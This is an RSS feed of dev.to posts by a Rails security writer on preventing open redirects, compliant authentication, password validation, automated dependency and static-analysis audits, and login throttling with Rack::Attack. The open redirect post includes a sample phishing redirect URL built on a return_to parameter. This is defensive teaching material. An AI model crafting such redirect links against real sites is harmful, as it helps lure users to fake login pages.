<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Greg Molnar</title>
    <description>The latest articles on DEV Community by Greg Molnar (@gregmolnar).</description>
    <link>https://dev.to/gregmolnar</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F993774%2F65176931-4339-408b-bc88-ce49db10119b.jpeg</url>
      <title>DEV Community: Greg Molnar</title>
      <link>https://dev.to/gregmolnar</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/gregmolnar"/>
    <language>en</language>
    <item>
      <title>Open redirect vulnerabilities in Rails apps</title>
      <dc:creator>Greg Molnar</dc:creator>
      <pubDate>Tue, 14 Nov 2023 19:50:29 +0000</pubDate>
      <link>https://dev.to/gregmolnar/open-redirect-vulnerabilities-in-rails-apps-g76</link>
      <guid>https://dev.to/gregmolnar/open-redirect-vulnerabilities-in-rails-apps-g76</guid>
      <description>&lt;p&gt;Today, I want to tell you about open redirect vulnerabilities and how to prevent them in a Rails application.&lt;/p&gt;

&lt;p&gt;We are talking about an open redirect vulnerability when the application redirects to a URL that a malicious user can control. It can be used for phishing by redirecting users to a fake login page where they enter their credentials.&lt;/p&gt;

&lt;p&gt;A typical occurrence of this vulnerability is when a return URL can be controlled via a URL parameter. For instance, if an application redirects to a page after logout and the target is set in a URL parameter.&lt;/p&gt;

&lt;p&gt;If an application uses a &lt;code&gt;return_to&lt;/code&gt; GET parameter, and accepts a URL like this: &lt;code&gt;example.com/logout?return_to=/&lt;/code&gt;, a malicious actor can send a link to &lt;code&gt;example.com/logout?return_to=https://fishingsite.com&lt;/code&gt; and the user might not realize that they are not on &lt;code&gt;example.com&lt;/code&gt; after they sign out.&lt;/p&gt;

&lt;p&gt;Another example is the redirect after a successful login, when you use the HTTP Referer, or a URL parameter. Setting the referer to a malicious one can be done with an extra redirect from the phishing site, or if the web server has a host header injection vulnerability, that can also be utilized.&lt;/p&gt;

&lt;p&gt;The good news is, Rails has built-in protection for this issue since version 7, with a follow-up fix in 7.0.4.1, so if you are on a new enough release, all you need to do is to set the following config variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# config/application.rb&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;action_controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raise_on_open_redirects&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you set &lt;code&gt;raise_on_open_redirects&lt;/code&gt; to &lt;em&gt;true&lt;/em&gt;, all redirect helpers will prevent open redirections.&lt;br&gt;
You might still want to allow a certain redirect to external hosts though, and  in that scenario, you can call &lt;code&gt;redirect_to&lt;/code&gt; with &lt;code&gt;allow_other_host: true&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you are stuck on an older version of Rails, you should pass any user-controlled redirect paths through a whitelist.&lt;/p&gt;

&lt;p&gt;That's it for today, until next time!&lt;/p&gt;

</description>
      <category>rails</category>
      <category>security</category>
    </item>
    <item>
      <title>Rails Authentication for Compliance</title>
      <dc:creator>Greg Molnar</dc:creator>
      <pubDate>Sat, 28 Oct 2023 10:42:49 +0000</pubDate>
      <link>https://dev.to/gregmolnar/rails-authentication-for-compliance-26li</link>
      <guid>https://dev.to/gregmolnar/rails-authentication-for-compliance-26li</guid>
      <description>&lt;p&gt;Suppose you are working on a Rails application that needs to meet specific security compliance requirements like &lt;strong&gt;PCI&lt;/strong&gt;, &lt;strong&gt;ISO 27001&lt;/strong&gt;, or &lt;strong&gt;SOC2&lt;/strong&gt;. In that case, one of the objectives is to have proper authentication and access control.&lt;/p&gt;

&lt;p&gt;The requirements differ between standards, but I gathered the most important ones from all of them to go through them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Authenticate access to critical assets
&lt;/h3&gt;

&lt;p&gt;Let's see what we need to do to satisfy this requirement.&lt;/p&gt;

&lt;p&gt;First of all, you must have a &lt;strong&gt;strong password policy&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
I recommend asking for a minimum of 12 characters, with at least one uppercase letter and one number.&lt;/p&gt;

&lt;p&gt;You can use Active Record validations for this. If you have a password attribute on your model, you can add a validation similar to this example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;validate&lt;/span&gt; &lt;span class="ss"&gt;:password_complexity&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;password_complexity&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;present?&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{12,}$/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="ss"&gt;:password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"must include at least one lowercase letter, one uppercase letter, one digit, and needs to be minimum 12 characters."&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additionally, you should validate that the password is not leaked. Luckily, there is a gem for that: &lt;a href="https://github.com/philnash/pwned"&gt;&lt;/a&gt;&lt;a href="https://github.com/philnash/pwned"&gt;https://github.com/philnash/pwned&lt;/a&gt;.&lt;br&gt;&lt;br&gt;
After installing the gem, All you need to do is add the following validation to the model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;  &lt;span class="n"&gt;validates&lt;/span&gt; &lt;span class="ss"&gt;:password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;not_pwned: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;on_error: :valid&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will make a request to haveibeenpwned.com, mark the password as invalid if it has been pwned, and mark it as valid in case of a network or API error. You can find information about various configurations in the readme of the gem.&lt;/p&gt;

&lt;p&gt;The final thing to prevent is credentials leaking. For this, you should store the passwords hashed with a robust hashing algorithm such as bcrypt.&lt;/p&gt;

&lt;h3&gt;
  
  
  By default, restrict all access to critical assets to only those accounts and services that require such access
&lt;/h3&gt;

&lt;p&gt;This one is more of an authorization than an authentication requirement. You should always use a whitelist approach for permissions and only permit access to certain information or features to the accounts that require it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Accompany authentication information by additional authentication factors
&lt;/h3&gt;

&lt;p&gt;Your authentication mechanism should include &lt;strong&gt;multiple factors&lt;/strong&gt;, something the user knows and something the user has. If you are using Devise, you can use the &lt;a href="https://github.com/devise-two-factor/devise-two-factor"&gt;devise-two-factor&lt;/a&gt; gem. If you have custom authentication, you can use the &lt;a href="https://github.com/mdp/rotp"&gt;rotp&lt;/a&gt; gem to generate OTP codes and verify those during login.&lt;/p&gt;

&lt;p&gt;One common mistake with multi-factor authentication implementations is to not require the second factor after a password reset, which defeats the purpose of the feature, so make sure that doesn't happen.&lt;/p&gt;

&lt;h3&gt;
  
  
  Don't display sensitive system or application information to avoid providing an unauthorized user with any unnecessary assistance
&lt;/h3&gt;

&lt;p&gt;You should show a generic message if someone tries to access a page requiring authentication.&lt;/p&gt;

&lt;p&gt;During the login process, you should never indicate which part of the login credentials are incorrect, otherwise it is possible to enumerate the usernames. Also, you should validate the username and password together to ensure there is no indication of which one is incorrect.&lt;/p&gt;

&lt;p&gt;When validating the password, you should prevent timing attacks by using a constant time algorithm during password comparison. Devise does this by default. If you have a custom authentication implementation, ensure you are not vulnerable to this attack.&lt;/p&gt;

&lt;h3&gt;
  
  
  Protect against brute force log-on attempts and credential stuffing
&lt;/h3&gt;

&lt;p&gt;You should ensure the password of accounts in your system can't be brute-forced or taken over by a credential stuffing attack from a list of leaked user credentials.&lt;/p&gt;

&lt;p&gt;The first line of defense should be to put rate-limiting on your login endpoints. &lt;a href="https://github.com/rack/rack-attack"&gt;rack-attack&lt;/a&gt; can help with that. I recommend to limit the login attempts to 5 per minute for a username and block the IP for 30 minutes. You should also limit the number of login attempts from the same IP address, but this needs to be adjusted to the application you are working on, because if it is a tool used in classrooms, it might be legit to have 50 logins within a few minutes from the same IP. (I have a few post written about &lt;a href="/tags/rack-attack"&gt;rack-attack&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;After configuring rate-limiting, you should also introduce a captcha on the login page and trigger that for suspicious login attempts.&lt;/p&gt;

&lt;p&gt;You could also send an email with a verification link in case of a suspicious login, for instance, from a non-usual location, device, etc.&lt;/p&gt;

&lt;p&gt;Storing successful and unsuccessful login attempts can help to detect suspicious attempts. If you are using Devise, you can use the &lt;a href="https://github.com/ankane/authtrail"&gt; authtrail &lt;/a&gt; gem for that.&lt;/p&gt;

&lt;h3&gt;
  
  
  Don't leak clear text passwords
&lt;/h3&gt;

&lt;p&gt;In 2023, everybody should use SSL/TLS, which prevents leaking clear text passwords over the network connections.&lt;/p&gt;

&lt;p&gt;Also, you should never log passwords in clear text or let them leak if an exception is raised.&lt;/p&gt;

&lt;h3&gt;
  
  
  Terminate inactive sessions after a defined period of inactivity, especially in high-risk locations
&lt;/h3&gt;

&lt;p&gt;Your "remember me" feature should be opt-in, and the session length should be adjusted to the necessary security level of the application.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prevent concurrent sessions
&lt;/h3&gt;

&lt;p&gt;You shouldn't allow concurrent sessions for an account to prevent session hijacking. To achieve this, you can save a fingerprint of the user on a successful login and trigger an MFA verification if the fingerprint changes during the requests.&lt;/p&gt;

&lt;p&gt;I believe I covered all of the important points for compliance of the authentication, but if you think I missed something, please reach out.&lt;/p&gt;

</description>
      <category>rails</category>
      <category>security</category>
    </item>
    <item>
      <title>Ruby on Rails password validation</title>
      <dc:creator>Greg Molnar</dc:creator>
      <pubDate>Wed, 25 Oct 2023 07:57:53 +0000</pubDate>
      <link>https://dev.to/gregmolnar/ruby-on-rails-password-validation-51pm</link>
      <guid>https://dev.to/gregmolnar/ruby-on-rails-password-validation-51pm</guid>
      <description>&lt;p&gt;If you ever went through a PCI, ISO 2007, SOC2, or similar compliance questionnaire, you found the following question in one form or another:&lt;/p&gt;

&lt;h3&gt;
  
  
  Use sufficiently strong and robust authentication methods to protect authentication credentials from being forged, spoofed, leaked, guessed, or circumvented.
&lt;/h3&gt;

&lt;p&gt;Let's see what we need to do to satisfy this requirement.&lt;/p&gt;

&lt;p&gt;First of all, you must have a &lt;strong&gt;strong password policy&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
I recommend asking for a minimum of 12 characters, with at least one uppercase letter and one number.&lt;/p&gt;

&lt;p&gt;You can use Active Record validations for this. If you have a password attribute on your model, you can add a validation similar to this example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;validate&lt;/span&gt; &lt;span class="ss"&gt;:password_complexity&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;password_complexity&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;present?&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{12,}$/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="ss"&gt;:password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"must include at least one lowercase letter, one uppercase letter, one digit, and needs to be minimum 12 characters."&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additionally, you should validate that the password is not leaked. Luckily, there is a gem for that: &lt;a href="https://github.com/philnash/pwned"&gt;&lt;/a&gt;&lt;a href="https://github.com/philnash/pwned"&gt;https://github.com/philnash/pwned&lt;/a&gt;.&lt;br&gt;&lt;br&gt;
After installing the gem, All you need to do is add the following validation to the model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;  &lt;span class="n"&gt;validates&lt;/span&gt; &lt;span class="ss"&gt;:password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;not_pwned: &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="ss"&gt;on_error: :valid&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will make a request to haveibeenpwned.com, mark the password as invalid if it has been pwned, and mark it as valid in case of a network or API error. You can find information about various configurations in the readme of the gem.&lt;/p&gt;

&lt;p&gt;The final thing to prevent is credentials leaking. For this, you should store the passwords hashed with a robust hashing algorithm such as bcrypt.&lt;/p&gt;

</description>
      <category>security</category>
      <category>rails</category>
    </item>
    <item>
      <title>Automated security audits for a Rails application</title>
      <dc:creator>Greg Molnar</dc:creator>
      <pubDate>Mon, 23 Oct 2023 11:00:00 +0000</pubDate>
      <link>https://dev.to/gregmolnar/automated-security-audits-for-a-rails-application-a03</link>
      <guid>https://dev.to/gregmolnar/automated-security-audits-for-a-rails-application-a03</guid>
      <description>&lt;p&gt;I will show you how you can automate some of the security necessities of a Rails application. If you follow this guide, you will be safe from one of the OWASP Top 10 security issues(&lt;a href="https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities"&gt;A9-Using Components with Known Vulnerabilities&lt;/a&gt;) and lower the chances of having other vulnerabilities in your codebase. Let's get into it.&lt;/p&gt;

&lt;p&gt;Using Components with Known Vulnerabilities is in the OWASP Top 10, but automating a notification about gems with known vulnerabilities is very easy. The &lt;a href="https://github.com/rubysec/bundler-audit"&gt;bundler-audit gem&lt;/a&gt; covers us there with the &lt;code&gt;bundle-audit&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[~/] bundle-audit --help
Commands:
  bundler-audit check [DIR]     # Checks the Gemfile.lock for insecure dependencies
  bundler-audit download        # Downloads ruby-advisory-db
  bundler-audit help [COMMAND]  # Describe available commands or one specific command
  bundler-audit stats           # Prints ruby-advisory-db stats
  bundler-audit update          # Updates the ruby-advisory-db
  bundler-audit version         # Prints the bundler-audit version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you put a check for &lt;code&gt;bundle audit --update&lt;/code&gt; to your CI workflow, it will check your app for vulnerable dependencies and your pipeline will fail.&lt;br&gt;
Additionally, if you use yarn to manage your javascript dependencies, you can use &lt;code&gt;yarn audit&lt;/code&gt; to check your dependencies for any known vulnerability.&lt;/p&gt;

&lt;p&gt;Here is an example GitHub Action file to do this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# .github/workflows/bundle-audit.yml&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Bundle Audit&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;schedule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;cron&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*"&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;base&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;strategy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;fail-fast&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;false&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Checkout code&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v2&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Setup Ruby&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ruby/setup-ruby@v1&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;ruby-version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3.2&lt;/span&gt;
          &lt;span class="na"&gt;bundler-cache&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;true&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Install bundler-audit&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gem install bundler-audit&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Check dependencies with known vulnerabilities&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bundle-audit --update&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Check javascript dependencies&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;yarn audit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above action runs bundle audit and yarn audit on every pull request and at midnight every day. You might need to adjust the Ruby version above to the one you are on.&lt;/p&gt;

&lt;p&gt;Another low-hanging fruit to improve the security posture of a Ruby on Rails application is to set up static code analyses for potential security issues. There are two gems to help with this: &lt;a href="https://github.com/presidentbeef/brakeman"&gt;brakeman&lt;/a&gt; and &lt;a href="https://github.com/gregmolnar/spektr"&gt;spektr&lt;/a&gt;(DISCLAIMER: I am the author of this gem).&lt;br&gt;
These gems analyze your code for potentially vulnerable code and can help to find SQL injections, XSS, and quite a few other issues.&lt;br&gt;&lt;br&gt;
Using on CI brakeman is more ideal, because it supports ignoring false positives out of the box. Spektr is targeted more towards security professionals running it on a codebase during an assessment.&lt;br&gt;&lt;br&gt;
Here is an example GitHub Actions file to run brakeman on your codebase on every pull request and once every day:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# .github/workflows/brakeman-scan.yml&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Brakeman Scan&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;schedule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
   &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;cron&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*"&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;base&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;strategy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;fail-fast&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;false&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Checkout code&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v2&lt;/span&gt;

      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Setup Ruby&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ruby/setup-ruby@v1&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;ruby-version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3.2&lt;/span&gt;
          &lt;span class="na"&gt;bundler-cache&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="no"&gt;true&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Install brakeman&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gem install brakeman&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Static code analyses for security&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;brakeman&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Throttling Rails logins with Rack Attack</title>
      <dc:creator>Greg Molnar</dc:creator>
      <pubDate>Sun, 22 Oct 2023 21:28:22 +0000</pubDate>
      <link>https://dev.to/gregmolnar/throttling-rails-logins-with-rack-attack-1ig</link>
      <guid>https://dev.to/gregmolnar/throttling-rails-logins-with-rack-attack-1ig</guid>
      <description>&lt;p&gt;I will show you how to rate-limit your authentication endpoints with &lt;strong&gt;Rack Attack&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rack::Attack&lt;/strong&gt; is a middleware for blocking or throttling requests based on rules. It uses the configured cache store of Rails to store the necessary data, but a separate data store can be configured too.&lt;/p&gt;

&lt;p&gt;In the examples, I will use &lt;strong&gt;Devise&lt;/strong&gt;'s endpoints, but the same setup works with any authentication system, you just need to change the URLs.&lt;/p&gt;

&lt;p&gt;Setting up &lt;strong&gt;Rack::Attack&lt;/strong&gt; is very simple, you need to add the gem to your project with &lt;code&gt;bundle add rack-attack&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Once we have the gem installed, we can add our configuration to an initializer, I use &lt;code&gt;config/initializers/rack_attack.rb&lt;/code&gt; for that.&lt;/p&gt;

&lt;p&gt;To prevent credential stuffing attacks on the login endpoint, you can throttle requests by IP address to a 15 attempts per minute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Rack::Attack&lt;/span&gt;
  &lt;span class="n"&gt;throttle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'logins/ip'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;limit: &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;period: &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;minute&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;path&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'/users/sign_in'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post?&lt;/span&gt;
      &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



